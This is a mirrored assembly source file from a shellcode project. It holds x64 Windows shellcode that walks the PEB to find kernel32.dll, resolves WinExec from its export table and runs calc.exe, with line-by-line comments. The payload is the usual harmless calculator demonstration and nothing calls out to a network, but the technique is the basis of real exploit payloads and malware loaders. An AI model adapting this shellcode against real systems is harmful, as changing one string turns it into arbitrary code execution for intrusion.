mirror of
https://github.com/Print3M/shellcoder
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Print3M
125 lines
4.8 KiB
NASM
125 lines
4.8 KiB
NASM
; Author: Print3M (https://print3m.github.io/)
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;
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; This code just runs "calc.exe" without any external dependencies.
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;
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[bits 64]
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section .text:
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global _start
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_start:
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; Access PEB structure
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xor rbx, rbx
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mov rbx, gs:[0x60] ; RBX = address of PEB struct
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mov rbx, [rbx+0x18] ; RBX = address of PEB_LDR_DATA
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add rbx, 0x20 ; RBX = address of InMemoryOrderModuleList
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; Go down the double-link list of PEB_LDR_DATA
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mov rbx, [rbx] ; RBX = 1st entry in InMemoryOrderModuleList (ntdll.dll)
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mov rbx, [rbx] ; RBX = 2st entry in InMemoryOrderModuleList (kernelbase.dll)
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mov rbx, [rbx] ; RBX = 3st entry in InMemoryOrderModuleList (kernel32.dll)
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; Get VA address of kernel32.dll
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mov rbx, [rbx+0x20] ; RBX = PEB_LDR_DATA.DllBase (address of kernel32.dll)
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mov r8, rbx ; R8 = RBX (address of kernel32.dll)
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; Get VA address of ExportTable (kernel32.dll)
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mov ebx, [r8+0x3c] ; RBX = kernel32.IMAGE_DOS_HEADER.e_lfanew (PE hdrs offset)
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add rbx, r8 ; RBX = PeHeaders offset + &kernel32.dll = &PeHeaders
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xor rcx, rcx
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add cl, 0x0088 ; RCX = 0x88 (offset ExportTable RVA)
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mov ebx, [rbx+rcx] ; RBX = &PeHeaders + offset ExportTable RVA = ExportTable RVA
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add rbx, r8 ; RBX = ExportTable RVA + &kernel32.dll = &ExportTable
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mov r9, rbx ; R9 = &ExportTable
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; Get VA address of ExportTable.AddressOfFunctions
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xor r10, r10
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mov r10d, [r9+0x1c] ; R10 = ExportTable.AddressOfFunctions RVA
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add r10, r8 ; R10 = &kernel32.dll + RVA = &AddressOfFunctions
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; Get VA address of ExportTable.AddressOfNames
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xor r11, r11
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mov r11d, [r9+0x20] ; R11 = ExportTable.AddressOfNames RVA
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add r11, r8 ; R11 = &kernel32.dll + RVA = &AddressOfNames
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; Get VA address of ExportTable.AddressOfNameOrdinals
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xor r12, r12
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mov r12d, [r9+0x24] ; R12 = ExportTable.AddressOfNameOrdinals RVA
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add r12, r8 ; R12 = &kernel32.dll + RVA = &AddressOfNameOrdinals
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; Get address of WinExec function exported from kernel32.dll
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xor rcx, rcx
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add cl, 7 ; RCX = function name length ("WinExec" == 7)
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xor rax, rax
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push rax ; STACK + null terminator (8)
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mov rax, 0x00636578456E6957 ; RAX = function name = \0 + "cexEniW" (WinExec)
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push rax ; STACK + function name address (8)
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mov rbx, rsp ; RSI = &function_name
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call get_winapi_func
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mov r13, rax ; R13 = &WinExec
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; Execute WinExec function
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;
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; UINT WinExec(
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; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0
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; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL
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; );
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xor rcx, rcx
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xor rdx, rdx
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push rcx ; STACK + null terminator (8)
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mov rcx, 0x6578652e636c6163 ; RCX = "exe.clac" (command string: calc.exe)
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push rcx ; STACK + command string (8)
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mov rcx, rsp ; RCX = LPCSTR lpCmdLine
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mov rdx, 0x1 ; RDX = UINT uCmdShow = 0x1 (SW_SHOWNORMAL)
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and rsp, -16 ; 16-byte Stack Alignment
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sub rsp, 32 ; STACK + 32 bytes (shadow space)
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call r13 ; WinExec("calc.exe", SW_SHOWNORMAL)
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get_winapi_func:
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; Requirements (preserved):
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; R8 = &kernel32.dll
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; R10 = &AddressOfFunctions (ExportTable)
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; R11 = &AddressOfNames (ExportTable)
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; R12 = &AddressOfNameOrdinals (ExportTable)
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; Parameters (preserved):
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; RBX = (char*) function_name
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; RCX = (int) length of function_name string
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; Returns:
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; RAX = &function
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;
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; IMPORTANT: This function doesn't handle "not found" case!
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; Infinite loop and access violation is possible.
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xor rax, rax ; RAX = counter = 0
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push rcx ; STACK + RCX (8) = preserve length of function_name string
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; Loop through AddressOfNames array:
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; array item = function name RVA (4 bytes)
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loop:
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xor rdi, rdi ; RDI = 0
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mov rcx, [rsp] ; RCX = length of function_name string
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mov rsi, rbx ; RSI = (char*) function_name
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mov edi, [r11+rax*4] ; RDI = function name RVA
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add rdi, r8 ; RDI = &FunctionName = function name RVA + &kernel32.dll
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repe cmpsb ; Compare byte *RDI (array item str) and *RSI (param function name)
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je resolve_func_addr ; Jump if exported function name == param function name
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inc rax ; RAX = counter + 1
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jmp short loop
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resolve_func_addr:
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pop rcx ; STACK - RCX (8) = remove length of function_name string
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mov ax, [r12+rax*2] ; RAX = OrdinalNumber = &AddressOfNameOrdinals + (counter * 2)
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mov eax, [r10+rax*4] ; RAX = function RVA = &AddressOfFunctions + (OrdinalNumber * 4)
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add rax, r8 ; RAX = &function = function RVA + &kernel32.dll
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ret |